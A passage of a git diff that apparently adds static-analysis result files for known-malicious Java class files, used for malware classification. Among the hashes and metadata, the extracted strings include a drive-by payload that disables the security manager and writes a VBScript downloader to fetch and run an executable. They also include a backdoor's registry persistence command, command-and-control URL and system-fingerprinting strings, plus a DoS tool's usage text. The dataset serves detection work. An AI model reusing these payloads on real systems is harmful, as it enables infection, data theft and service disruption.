"5126bc55-50c3-4d71-a5f0-a0292aac9f41", "score": 0, "entropy": 6.317370614806344, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 2904, "ssdeep": "48:icWdyFlsvBQQs3JZcGxuFxqcsQ/uYCRsFdIgFv16f+HJIQY+NAqECCYNir3sq10R:LWYFl03K6r/GYpGWNZqQY2CH7sqE9", "sha256": "4d7b99ddc217d757c0460fae4ddb302673cd6bdf99040db729d9157979f55db0", "md5": "34429487d38aa480945c73b7233e2c45", "parent_sha256": "4d7b99ddc217d757c0460fae4ddb302673cd6bdf99040db729d9157979f55db0"}} \ No newline at end of file diff --git a/java_classification/data/malicious/4da0462055c4987a5dc75e42503f347a886f312a430962d829fa4ce26742bdf4.results b/java_classification/data/malicious/4da0462055c4987a5dc75e42503f347a886f312a430962d829fa4ce26742bdf4.results new file mode 100755 index 0000000..dcfbbcb --- /dev/null +++ b/java_classification/data/malicious/4da0462055c4987a5dc75e42503f347a886f312a430962d829fa4ce26742bdf4.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "C3.java", "class_name": "C3", "access_permissions": ["ACC_SUPER"], "major_version": 48, "method_names": ["", "char_at", "instantiate", "invoke", "string_to_bytes", "load"], "minor_version": 0, "const_pool_count": 162}}, "_id": "d2fc350d-1f03-4145-9583-d5db1ac945f4", "verbose": {"java": {"constant strings": ["newInstance", "file", "setSecurityManager", ":///", "CC00BCC00202023202800C022902340C023502360902370C023802390A023A0A023B0C0238023C09023D09023E0A023F0C024002410C020B02420C020B02430C020A02440902450902460902470C021302340A02480C023802490C0213024A0A024B0C0213024C0C021202420C0211024D0C020A024E0A024F0C025002510A02520A02530A02540C021102550C020A02560C021102560C025702580C0257025909025A09025B09025C09025D0302083E6B706B76400302052A2B58030206457166670302114E6B706750776F6467745663646E670302057477700302162A2B4E6C637863316E6370693151646C6765763D03020C477A656772766B71707503020C557177746567486B6E670302094536306C6378630E022B022C09025E0E025F02600302296C6378633175676577746B767B3152746B786B6E676967664365766B7170477A656772766B71700902610E026202630302106A767672306D676772636E6B786703020768636E75670E0264026503021D6C637863316B713144776868677467664B7072777655767467636F03020E6C637863317067763157544E030302", "2222222222222222222222222222222222222222222222222222222222222222", "2222222222222222222222222222222222222222222222222222222222222222", "2222222222222222222222222222222222222222222222222222222222222222", "2222222222222222222222222222222222222222222222222222222222222222", "2222222222222222222222222222222222222222222222222222222222222222", "2222222222222222222222222222222222222222222222222222222222222222", "222222222222222222222222222222222222222222222222224A5656723C3131", "726B65677467696E633074773172363A374F7A4C5673314A636B335554764D78", "0902660E026702680E022B02690E026A026B0E022B026C03021E6C637863316B7131447768686774676651777672777655767467636F03021A6C637863316B7131486B6E6751777672777655767467636F0302186C637863316E637069315576746B706944776868677403020656474F520E026D026E0E026F027003020A316F717430677A670E027102680E022B02720E02730274030207", "323232363B", "0902750E02760277030207", "3232323936", "030207", "3232323934", "3232323A36", "0E027802790E027A022C09027B0E027C027D0E027E027F0302156C637863316E63706931477A656772766B717003020445360302126C637863316E6370693151646C6765760302296C6378633175676577746B767B3152746B786B6E67696766477A656772766B71704365766B71700302206C6378633175676577746B767B314365656775754571707674716E6E677403020E667152746B786B6E6769676603023F2A4E6C6378633175676577746B767B3152746B786B6E67696766477A656772766B71704365766B71703D2B4E6C637863316E6370693151646C6765763D0302126C637863316E63706931557B7576676F03021475677655676577746B767B4F6370636967740302202A4E6C637863316E6370693155676577746B767B4F6370636967743D2B5803020D756776527471726774767B03023A2A4E6C637863316E637069315576746B70693D4E6C637863316E637069315576746B70693D2B4E6C637863316E637069315576746B70693D0302126C637863316E637069315576746B706903020676746B6F0302162A2B4E6C637863316E637069315576746B70693D0302172A4E6C637863316E637069315576746B70693D2B5803020C7172677055767467636F0302192A2B4E6C637863316B71314B7072777655767467636F3D03021A2A4E6C637863316B71314B7072777655767467636F3D2B580302086967766770780302282A4E6C637863316E637069315576746B70693D2B4E6C637863316E637069315576746B70693D03020863727267706603022E2A4E6C637863316E637069315576746B70693D2B4E6C637863316E637069315576746B70694477686867743D03020A76715576746B706903021C2A4E6C637863316B713151777672777655767467636F3D4B2B58030206746763660302092A5D444B4B2B4B0302136C637863316E637069314B70766769677403020A72637475674B70760302172A4E6C637863316E637069315576746B70693D2B4B03020779746B76670302092A5D444B4B2B58030207656E7175670302136C637863316E63706931547770766B6F6703020C696776547770766B6F670302172A2B4E6C637863316E63706931547770766B6F673D030206677A67650302292A4E6C637863316E637069315576746B70693D2B4E6C637863316E63706931527471656775753D0223022802290203022A020202040203022B022C0203022D0202024002030204020202102CB902032CBA020459A902064EB302030206020B020E02050203022E0202021802070202020B0206020E020B0213020E0210020F02140203022F02300204022D02020399020802090202031903BA0206130602BE0A4E053F054014071408BA020959BD020A5BBD020B5B140CB8020DB9020EB8020FB902103C06BD02115BBD02125BBD02135BB902141415BA0216B802171418B80217B80219B9021A130602B9021B3C071B062D05130602B8021C5B3F9D02831F1E624005380817081EA4026B1F1E6617086209729C02152D17085E35141DBA021E849356A9024A1F1E66170862097206A202152D17085E35141FBA021E849356A9022E1F1E66170862097207A202152D17085E351420BA021E849356A902122D17085E351421BA021E849356860803A901991B072D051EB80222A901781B06B802231B07B80224BA02253C081B08BD02135BB902141415BA0216B802171418B80217B80219B8022659A902064E03B2020302060313031602270203022E02020268021B020202180206021B020C021C0210021E0218021F02300220025A022102690223026D022402760226028102280291022A029D022C02AD022E02B9023002C9023402D6022402DC023702E7023902EC023A02F1023B02F6023C031302410316023E031702420231020202060203022702030232020202040233"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "a22b73079c7279b56e9410105a47c902347eae71", "file_name": "java_malicious/4da0462055c4987a5dc75e42503f347a886f312a430962d829fa4ce26742bdf4", "_id": "d2fc350d-1f03-4145-9583-d5db1ac945f4", "score": 0, "entropy": 5.164753440058861, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 7028, "ssdeep": "192:M0l3mbouZeeMpXB6CDvdF5DRXZbxs7m3DxmUevMsEvh:M0VX3npTfsyh", "sha256": "4da0462055c4987a5dc75e42503f347a886f312a430962d829fa4ce26742bdf4", "md5": "21e30c4e4700c8d7d126137b58061634", "parent_sha256": "4da0462055c4987a5dc75e42503f347a886f312a430962d829fa4ce26742bdf4"}} \ No newline at end of file diff --git a/java_classification/data/malicious/4dc53f9cfad1f7440ea45f9862397b4eeb609da9f05e51f425980b34794c2b67.results b/java_classification/data/malicious/4dc53f9cfad1f7440ea45f9862397b4eeb609da9f05e51f425980b34794c2b67.results new file mode 100755 index 0000000..e7a55fe --- /dev/null +++ b/java_classification/data/malicious/4dc53f9cfad1f7440ea45f9862397b4eeb609da9f05e51f425980b34794c2b67.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "a/rpifpmopitjve", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "rlsesuqtyfc", ""], "minor_version": 0, "const_pool_count": 446}}, "_id": "a9a2ef82-6707-4093-8411-fcbadf39eb07", "metadata": {"mimetype": "application/x-java-applet", "sha1": "2a9ed5528830bc34c4a8af9f4e2d0c0df35796e0", "file_name": "java_malicious/4dc53f9cfad1f7440ea45f9862397b4eeb609da9f05e51f425980b34794c2b67", "_id": "a9a2ef82-6707-4093-8411-fcbadf39eb07", "score": 0, "entropy": 5.217407774003658, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 6984, "ssdeep": "192:TyDfnh5t+oB68paxhi/To55UTYwa5hGX1:mDfnh508ayTofUTkc1", "sha256": "4dc53f9cfad1f7440ea45f9862397b4eeb609da9f05e51f425980b34794c2b67", "md5": "9e1798712950d69190e714bffd3d2265", "parent_sha256": "4dc53f9cfad1f7440ea45f9862397b4eeb609da9f05e51f425980b34794c2b67"}} \ No newline at end of file diff --git a/java_classification/data/malicious/4e4a36e7fda4c375d10810b7830bb1437b468b7264c1c236455e2774eb4a1973.results b/java_classification/data/malicious/4e4a36e7fda4c375d10810b7830bb1437b468b7264c1c236455e2774eb4a1973.results new file mode 100755 index 0000000..39b9bf7 --- /dev/null +++ b/java_classification/data/malicious/4e4a36e7fda4c375d10810b7830bb1437b468b7264c1c236455e2774eb4a1973.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 50, "class_name": "Streaming$1", "access_permissions": ["ACC_SUPER"], "interfaces": ["java/lang/Runnable"], "sourcefile": "Streaming.java", "method_names": ["", "run"], "minor_version": 0, "const_pool_count": 102}}, "_id": "19a8b41a-7ed5-4451-a192-5f8f0c78ec74", "verbose": {"java": {"JAVA String Analysis": {"obfuscated_data": {"base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "GoTo"}}}, "constant strings": ["DirectLink", "ServerName", "DownloadFolder", "\\\\", "GoTo"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "430f81031f457312117af032b7c7bd4aad5c0641", "file_name": "java_malicious/4e4a36e7fda4c375d10810b7830bb1437b468b7264c1c236455e2774eb4a1973", "_id": "19a8b41a-7ed5-4451-a192-5f8f0c78ec74", "score": 0, "entropy": 5.513276288333021, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 1459, "ssdeep": "24:LYLPCG5ulXGGHhhHhdz3pB7KqkqPz1UqhWMb1lF4CuQb6y4lScIdbQ7W00/Y6:LYLPT4lhBxhJZBpkYzaqhPb1T4CDEwcu", "sha256": "4e4a36e7fda4c375d10810b7830bb1437b468b7264c1c236455e2774eb4a1973", "md5": "ec6e0741b4ae9e06b5a6ffdff67834d5", "parent_sha256": "4e4a36e7fda4c375d10810b7830bb1437b468b7264c1c236455e2774eb4a1973"}} \ No newline at end of file diff --git a/java_classification/data/malicious/4eedc3e7e1f1438b2e3eb47f3ba18cdbab42d554a6ddfc717b8aa93ec1e3fb19.results b/java_classification/data/malicious/4eedc3e7e1f1438b2e3eb47f3ba18cdbab42d554a6ddfc717b8aa93ec1e3fb19.results new file mode 100755 index 0000000..21f7b7f --- /dev/null +++ b/java_classification/data/malicious/4eedc3e7e1f1438b2e3eb47f3ba18cdbab42d554a6ddfc717b8aa93ec1e3fb19.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "GondadGondadExp.java", "class_name": "GondadGondadExp", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", "init"], "minor_version": 3, "const_pool_count": 100}}, "_id": "eb1b1d6a-fd15-433a-8902-beb9ff3f81b4", "verbose": {"java": {"constant strings": ["qUIj1WrdHC1IONHN1", "js", "data", "var error = new Error(\"My error\");this.toString = function(){ java.lang.System.setSecurityManager(null);java.lang.Runtime.getRuntime().exec(\\'cmd.exe /c echo URL = LCase(WScript.Arguments(0))>\"%temp%\\\\\\\\qUIj1Wrd.vbs\"&&cmd.exe /c echo dim m,s,gond>>\"%temp%\\\\\\\\qUIj1Wrd.vbs\"&&cmd.exe /c echo gond=\"qUIj1WrdHC1IONHN\">>\"%temp%\\\\\\\\qUIj1Wrd.vbs\"&&cmd.exe /c echo m=\"Mvivcvrvovsvovfvtv.vXvMvLvHvTvTvP\">>\"%temp%\\\\\\\\qUIj1Wrd.vbs\"&&cmd.exe /c echo s=\"AzDzOzDBz.zSztzrzezazm\">>\"%temp%\\\\\\\\qUIj1Wrd.vbs\"&&cmd.exe /c echo set cmd =Createobject(replace(m,\"v\",\"\")) >>\"%temp%\\\\\\\\qUIj1Wrd.vbs\"&&cmd.exe /c echo cmd.Open \"GET\",URL,0 >>\"%temp%\\\\\\\\qUIj1Wrd.vbs\"&&cmd.exe /c echo cmd.Send()>>\"%temp%\\\\\\\\qUIj1Wrd.vbs\"&&cmd.exe /c echo FileName=LCase(WScript.Arguments(1))>>\"%temp%\\\\\\\\qUIj1Wrd.vbs\"&&cmd.exe /c echo Set CsCriptGet = Createobject(replace(s,\"z\",\"\"))>>\"%temp%\\\\\\\\qUIj1Wrd.vbs\"&&cmd.exe /c echo CsCriptGet.Mode=^3>>\"%temp%\\\\\\\\qUIj1Wrd.vbs\"&&cmd.exe /c echo CsCriptGet.Type=^1>>\"%temp%\\\\\\\\qUIj1Wrd.vbs\"&&cmd.exe /c echo CsCriptGet.Open()>>\"%temp%\\\\\\\\qUIj1Wrd.vbs\"&&cmd.exe /c echo CsCriptGet.Write(cmd.responseBody)>>\"%temp%\\\\\\\\qUIj1Wrd.vbs\"&&cmd.exe /c echo CsCriptGet.SaveToFile FileName,^2>>\"%temp%\\\\\\\\qUIj1Wrd.vbs\"&&cmd.exe /c cscript \"%temp%\\\\\\\\qUIj1Wrd.vbs\" ", " \"%temp%\\\\\\\\Gondad.exe\"&& \"%temp%\\\\\\\\Gondad.exe\"\\');", "return \"exploit!\";};", "error.message = this;", "error"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "f25924b3946dab1654be2b652d8ff2e71db27a0c", "file_name": "java_malicious/4eedc3e7e1f1438b2e3eb47f3ba18cdbab42d554a6ddfc717b8aa93ec1e3fb19", "_id": "eb1b1d6a-fd15-433a-8902-beb9ff3f81b4", "score": 0, "entropy": 5.828920683682196, "libmagic": "compiled Java class data, version 45.3", "file_size": 2868, "ssdeep": "48:FayGlOqIK+KTV1XSXpi1b0g6dq1L3iEPPSJM368n9f:FzGl/1+m1JqTdKL3iiP0s6W9f", "sha256": "4eedc3e7e1f1438b2e3eb47f3ba18cdbab42d554a6ddfc717b8aa93ec1e3fb19", "md5": "31f62b44e986a8ebff5b02f49ee80f54", "parent_sha256": "4eedc3e7e1f1438b2e3eb47f3ba18cdbab42d554a6ddfc717b8aa93ec1e3fb19"}} \ No newline at end of file diff --git a/java_classification/data/malicious/4ef46ce8ceb1ee00680a60d71867ab3f527d1ab3986bb74f90b9ca8459a775a1.results b/java_classification/data/malicious/4ef46ce8ceb1ee00680a60d71867ab3f527d1ab3986bb74f90b9ca8459a775a1.results new file mode 100755 index 0000000..a2619d0 --- /dev/null +++ b/java_classification/data/malicious/4ef46ce8ceb1ee00680a60d71867ab3f527d1ab3986bb74f90b9ca8459a775a1.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "x/l", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "a"], "minor_version": 0, "const_pool_count": 234}}, "_id": "ff12b697-ddfc-447a-9d42-d14f961c3516", "verbose": {"java": {"constant strings": ["006zL2kuqD", "19WXgkKqR02qsK1pkED", "25RZIG", "2sGc3kEM4jtgi1ZoILw", "3CoHU", "3mKnoGnvcVsoV4ecW", "43Uu9xHZXKE5", "6Cm21lx", "6x6L6VQbeQDc6LRuiyR", "9G9FU3bfGPRVB5a", "9e1iy4amecmv", "ADX8Ye4pwki07loKGIGt", "BnwdpADBwd04wE", "CUUCirfGHo", "CjAxUM8qa1VLVfSl", "ENdTdUYqG9tSt7P", "F4X5VW1gWQNz", "FpawxdUm1Vx1B", "GGjh1ezw1e4w2y5EP3iv", "GTaZRO5IY", "GXxlw8dwLthRXd", "GxgowbStaG2xQU2", "H62NUTI2MmzClNa", "LCT0e", "LfQDGacfl", "MNDPsdrK3Ikq", "MoSwLxH", "NWTAXqy", "OG2gRpLk44RyGq", "OVZn4KCH4h", "PnHcVI44dSuCOrHnbn", "RW8ciIlMoqz1Z5E", "TGrHkGOB", "TkVS5Lfwclmm3wyeT", "TpgdeGV3cP4YOKuvhvp", "UFdj1Fv3FoB", "UGQIwTI3CGAtMD6B8M9", "UYwxeFHCE", "WKsGbm", "X7h2gPbjG7T4W6jG", "XveVFTZhB703", "YuOKgCp68Gx", "ZfDm", "bVnykxMWnMK5MX8", "blQHjHgW", "byNGPNryOg", "c2UuxE", "ccucf", "elh2itXRfeeq", "ensuarLfNqe1d1", "fO3nC01AK7g5I", "gKfr0BL7GIGiMEl", "gQBYHdw5oHKze", "gpZqA2KnPHGzP9f", "jFqU6", "jaMhudxE4oRT8H", "jltLiux", "lHVuAi9ppzpGaBYPpl", "lwF3XSfsmsBI2", "m0KAIebr0vpkIDVUk", "oSYgFSvz2pmjb1DvgHCt", "pPiGC09EhxHDYe3y", "pl", "qKOFn9VLA", "qlHX6WpkXo2h00o4lnVj", "rUbtIup7CCabho7z7", "rwYB4", "s0qrX241GG6WNNMGcg", "sDai0ZqaOOEq5", "siaZnpyVOZ01vpU", "vMOdBKHI", "wt0fEhg5Uab", "x.p", "xQGtT1W1a", "yqHLLSQVUZAB", "zFglcZyGY"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "d2ac67b7d842059309c6009d9c76aa9eaf9c76f6", "file_name": "java_malicious/4ef46ce8ceb1ee00680a60d71867ab3f527d1ab3986bb74f90b9ca8459a775a1", "_id": "ff12b697-ddfc-447a-9d42-d14f961c3516", "score": 0, "entropy": 6.1592568581624825, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 3533, "ssdeep": "96:+fsV8NWR7dxPEdU7M8c/xI7MSQs+4jV4zThk28grt:+Ef7wcMzwMSQuKzlk2xrt", "sha256": "4ef46ce8ceb1ee00680a60d71867ab3f527d1ab3986bb74f90b9ca8459a775a1", "md5": "a2a7d36cb4a52a254f91a0d325ac42a1", "parent_sha256": "4ef46ce8ceb1ee00680a60d71867ab3f527d1ab3986bb74f90b9ca8459a775a1"}} \ No newline at end of file diff --git a/java_classification/data/malicious/4f36472f27b677790c3fdea5b4c42d3672f4cd89aa8f2d4236099a4d08846340.results b/java_classification/data/malicious/4f36472f27b677790c3fdea5b4c42d3672f4cd89aa8f2d4236099a4d08846340.results new file mode 100755 index 0000000..d0181d0 --- /dev/null +++ b/java_classification/data/malicious/4f36472f27b677790c3fdea5b4c42d3672f4cd89aa8f2d4236099a4d08846340.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "a/obfgam", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "tcdfxdhycnmardg", ""], "minor_version": 0, "const_pool_count": 446}}, "_id": "59fff724-fd81-4db8-88c9-7896ca88eb48", "metadata": {"mimetype": "application/x-java-applet", "sha1": "37aac6f431b828d24b807e251877d89db274ea8f", "file_name": "java_malicious/4f36472f27b677790c3fdea5b4c42d3672f4cd89aa8f2d4236099a4d08846340", "_id": "59fff724-fd81-4db8-88c9-7896ca88eb48", "score": 0, "entropy": 5.215522081353636, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 7006, "ssdeep": "96:KMHU9PEUgtYsE5Sh4kDmo8pW2Yxhni/mmNxlo55ooDy4IYwa5oYp55IX1:T09d7NpWxhi/To55UTYwa5hGX1", "sha256": "4f36472f27b677790c3fdea5b4c42d3672f4cd89aa8f2d4236099a4d08846340", "md5": "c15b47b222e8af924f15f52fce26942f", "parent_sha256": "4f36472f27b677790c3fdea5b4c42d3672f4cd89aa8f2d4236099a4d08846340"}} \ No newline at end of file diff --git a/java_classification/data/malicious/4f3efb4a4e0e0e51158b1337fbdab07c414e3f545406f8bc852b90d631bef376.results b/java_classification/data/malicious/4f3efb4a4e0e0e51158b1337fbdab07c414e3f545406f8bc852b90d631bef376.results new file mode 100755 index 0000000..29f34f5 --- /dev/null +++ b/java_classification/data/malicious/4f3efb4a4e0e0e51158b1337fbdab07c414e3f545406f8bc852b90d631bef376.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "TevDos.java", "class_name": "src/TevDos", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "main"], "minor_version": 0, "const_pool_count": 102}}, "_id": "620f7e02-dd84-41a4-9870-aa6d8ef56261", "verbose": {"java": {"constant strings": ["TeV DOS", "Made by Elixed_", "Arguments set wrong!", "Use this format:", "java tevdos [ip] [port] [threads]", "Exiting program..", "The IP you entered is: ", "The port is: ", " threads", "Press Enter to Start Dosing..", "Attacking IP: ", "On port: ", "\\n\\n\\n\\n\\n\\n\\nAll Threads Created\\nU = Site working(up)\\nA = Site crashing(going down, under attack)"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "53224f1377edcc9eb62da6016b479dc01b00a35f", "file_name": "java_malicious/4f3efb4a4e0e0e51158b1337fbdab07c414e3f545406f8bc852b90d631bef376", "_id": "620f7e02-dd84-41a4-9870-aa6d8ef56261", "score": 0, "entropy": 5.695214694971233, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 1710, "ssdeep": "24:Ibe2/6ZyQulzGlxaNiUzBolnkZnSzFZI3ZQdLuHXo2zXmVM87xXl7f/E:qemuyFlqDayl8SzFZPWXo2z2VM87TbE", "sha256": "4f3efb4a4e0e0e51158b1337fbdab07c414e3f545406f8bc852b90d631bef376", "md5": "e52a36ca84898f3388a4d3e96d3e22f1", "parent_sha256": "4f3efb4a4e0e0e51158b1337fbdab07c414e3f545406f8bc852b90d631bef376"}} \ No newline at end of file diff --git a/java_classification/data/malicious/4f52bb0b926a2582a15631cf4a8a83f7a036f82730d983c7cd6ea2509dfeefdf.results b/java_classification/data/malicious/4f52bb0b926a2582a15631cf4a8a83f7a036f82730d983c7cd6ea2509dfeefdf.results new file mode 100755 index 0000000..12182c1 --- /dev/null +++ b/java_classification/data/malicious/4f52bb0b926a2582a15631cf4a8a83f7a036f82730d983c7cd6ea2509dfeefdf.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "JavaTool.java", "class_name": "JavaTool", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "", "main", "ToolFun", "getProjectPath", "StringToBytes", "writeFile", "toCstr"], "minor_version": 0, "const_pool_count": 395}}, "_id": "8f1382c9-655e-4b57-8c50-49cd4c04db4a", "verbose": {"java": {"constant strings": ["enter info main", "java.io.tmpdir", "update.jar", "reg add hkcu\\\\software\\\\microsoft\\\\windows\\\\currentversion\\\\run /v JavaUpdate /t REG_SZ /d ", "cmd.exe /c ", "http://www.lingdona.com/news", "update.dat", "/news", "2.0_", "/latestnews.aspx?title=", "HostName: ", "\\r\\nOS: ", "os.name", " ", "os.arch", "os.version", "\\r\\n", "Java Version: ", "java.version", "User: ", "user.name", "\\r\\n HostIp: ", "Email Flag: ", "cmd.exe /c tasklist", "UTF-8", "content=", "\\r\\n PublicIp: ", "upload_", "_", "/uploads/", "cmd_", "UpdateDomain", "/newsdetail.aspx?title=", "utf-8"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "3d1d20c40c3b72cf3e2d87bd5148cdc4cf5d055f", "file_name": "java_malicious/4f52bb0b926a2582a15631cf4a8a83f7a036f82730d983c7cd6ea2509dfeefdf", "_id": "8f1382c9-655e-4b57-8c50-49cd4c04db4a", "score": 0, "entropy": 5.975778091281369, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 7726, "ssdeep": "96:xOAljbgxCnwV9wBKxUqte7W1gSfeSJDLUEBrjcoFQMblkVd6FV9kUX0dy2oO:wAlkTwBxceia0DLvjnQMZLWU87oO", "sha256": "4f52bb0b926a2582a15631cf4a8a83f7a036f82730d983c7cd6ea2509dfeefdf", "md5": "c6d05001d298902206fc10adef514f50", "parent_sha256": "4f52bb0b926a2582a15631cf4a8a83f7a036f82730d983c7cd6ea2509dfeefdf"}} \ No newline at end of file diff --git a/java_classification/data/malicious/4f530d61244ac0f79afd6292538b372fd38362e58c52093b99b19a6f6ce47633.results b/java_classification/data/malicious/4f530d61244ac0f79afd6292538b372fd38362e58c52093b99b19a6f6ce47633.results new file mode 100755 index 0000000..2185e7b --- /dev/null +++ b/java_classification/data/malicious/4f530d61244ac0f79afd6292538b372fd38362e58c52093b99b19a6f6ce47633.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "fawb.java", "class_name": "fawa/fawb", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "fawc", "fawa", "fawa", "fawb", "fawd", ""], "minor_version": 0, "const_pool_count": 153}}, "_id": "f00e5bbf-5b52-40a8-97af-8421cdb77028", "verbose": {"java": {"constant strings": [".\\n,`\\x18dOhf^zx\\x1f\\x11lTx)7K\\\\x9\\x15i^~\\x1b&IZU5\\noKL\\x1c\\'iXx\\x0f\\x11y|T\\x18bqN\\xc0\\x80-\\t\\x7f(W\\x12`\\x11tX3\\x06Byx=\\x11jz|\\x1f\\x1a\\x1amQ:=mkZl\\x06Bya\\x14 LUR(\\x05`WI:=Dnc\\t4DG|\\x08dq/o)4oqO<;nw]\\x19<^\\x7f^\\x1b\\x11iJp\\x1c\\x11jWt?=n/`\\ri[Dnk>d,wn3EqL\\x04*[_x\\x1f\\t\\x10|nk LY\\r\\x1c\\x11jHV\\n\\x17Xu]3\\x15^\\x7f~\\x18%rd\\xc0\\x80\\n4`WI<=K*r\\x08\\tj\\\\x\\x0c\\x14J/k2\\x13O\\\\}\\x1f\\x11\\x18Px\\x1f;iY^\\x1b\\x11id^.\\x06Ovx\\x1f\\x01iL}\\x1f\\x11`\\\\x9\\x1bi_p\\x1f\\x16i~x\\x1b\\'m\\\\q3 @yT\\x1b&K/o44pWI:\\x18Ckh\\t\\x1eBGa\\x10*y/\\xc0\\x80+4`WO<\\x17PqZ9\\'i[h\\x1f\\x07iLx\\x13\\no$h==D/X\\t(DG\\x0b\\x08;iLxg\\x1bmeH\\x07\\x08ruum\\x1eDD\\n\\x08)IEkk\\x1c\\x19_@?\\x08rm[\\x19\\x06FGn\\x0c\\x16MZw23`OIz(x\\x0f\\x11EV|&!qEc6\\x1c\\x1aeQ<=Kklm\\x02Q|nk>gdU\\x131E[\\x0b\\x07\\x03\\x11n`\\teFQ\\x08\\x10`KpU+\\nRnp\\x1f\\x14m_x\\x1f\\x16K^^\\x1f2iYt\\x13\\x11lLx\\x10\\x01m\\\\z\\x19\\x06]Gq\\x10\\x08IEk1\\x11y\\\\o\\x15\\x15Pl`\\x06\\n@Q\\x0b&8JpZ(\\x05\\x1bO@?\\x07\\x1dsv\\'d-\\xc0\\x8071EKS:\\x14[mm\\x19 @yT\\x1b&JZ\\x7f+\\nQ$m:\\x18bm[33\\x1f^^\\x1fbiY\\t\\x13\\x11ivx\\x1d7G\\\\w9\\x11\\x07Yx\\x1c\\x11iX|\\x1c\\x11iGQ=\\x18jq[3\\x01j\\\\zn?|ZI64EXO<\\x17nhc\\'i|yq\\x14 JpZi\\x1b}eH\\x07\\x08ruul(@\\x7fT=&}.k\\'1\\x7f(W\\x0f>~m[\\x19\\x02D~S-\\x1biY`\\x1f\\x01_jx\\x0c\\x11j[x\\x0f\\x11ay~g\\x04LUs.2E~{\\x1f\\x12yrr\\x0b(YDa\\x048d/A62E~O\\x0bczdX\\teFRN=\\x11zj|\\x1f\\x18omQ:=mkX\\th^LW\\x08=rpo\\'\\n\\x7fOi:\\x08zj]\\x06\\x02|yq\\x14\\\\,o7>izq*(N^R3\\x04pK\\x12\\x18\\x1dk\\\\]m4[T^\\x10gL,V+\\'a_\\x0e\\x1c\\x18_sN\\x17\\x12\\x07yajD,c\\x1a\\x05`{Wo\\x06}/Iu\\x07mrr\\x1b\\x16Le\\\\\\x1a#G~q:;eO]u\\x05E$j=>\\x1d~j9?kEa\\x08\\x7fazo\\x0c5pjP\\x14>\\\\*n72izq\\x1c4~N\\r9\\x06\\x1bTi\\x118aYkl\\x01\\x18y\\x7f\\x0cdl^\\x08&\\x07~qk\\x188\\\\\\\\kn`\\x1b_R.3\\x7fL\\r\\x1b\\x04nG\\x0f\\x14\\x04zzm\\x0f\\x01\\x1bWa\\x14{|L|-\\x07yS\\x16\\x18\\x1dk\\\\x0\\x06[TQ\\x182\\x7fEM\\x0c\\x17ovw\\n:GJ}o PHNg\\x1aJJl*\\x1f\\x1bqm8\\x13`\\\\^\\x16gizq\\x1f9_Tx\\x154\\x7f-l\\x1c\\x18\\\\u[9#eJ\\x082g}OQ.\\x14})\\x0f\\x187\\x11|Z\\x08\\x1dxNno\\\\,\\\\\\x1d\\x19Jx\\t\\x10hfNci\\x11F)|)\\x19jw]\\x06?\\x1eYq**ptp\\x11\\x08p[\\x01\\x17\\x03P-h2hgY\\x08\\x14\\x01N^[\\x1f7`n~\\x1c\\x16aq\\\\m\\x16\\x10Wk\\x14\\x03MKN\\x11\\x12_uM<_t|o\\nzxS\\x0b\"M/of\\x14ym\\x16\\n\\x15_+~\\t\\x12K~o\\x1be}qc\\x0f\\'a\\\\\\n<\\'Lk~7\\x12\\\\\\\\o\\x13#g[ck\\x08i)q\\x1d\\x17\\x19hn4\\x1aBDN9\\x1elLMl\\x02i[C:\\x16@xl\\x1f\\'fy\\x0819i.Mf\\x13{*x9\\x18b$_\\x1f\\x05\\x1a{\\n\\x08)a^Um\\x06~\\\\U=bfs{\\x1c\\x11q\\x7fh\\x18\\x04d.{n\\x12n)v\\x12\\x05\\x11hk&3eJ\\x082g}OQ.\\x14})\\x0f\\x187\\x11|Z\\x08\\x19x^U:\\x01lgk9\\x04C)m\\x18\\x08\\x19Xo\\x0f3[{\\t\\x146b\\\\]\\x0e2COX\\x18\\x06\\x1d%]&\\x1dBK\\x08=\\x1baPz\\x1f5pG\\x01\\x13#k\\\\]o\\nzWa\\x14dKKp\\x0c\\x12\\x1b,Z=\\x03mka0a\\x03_x\\x14{LEhl\\x13pi\\xc0\\x80<\\x13`\\\\^\\x168KI}1\\nq[A&\\x05|qj\\x08P_c& 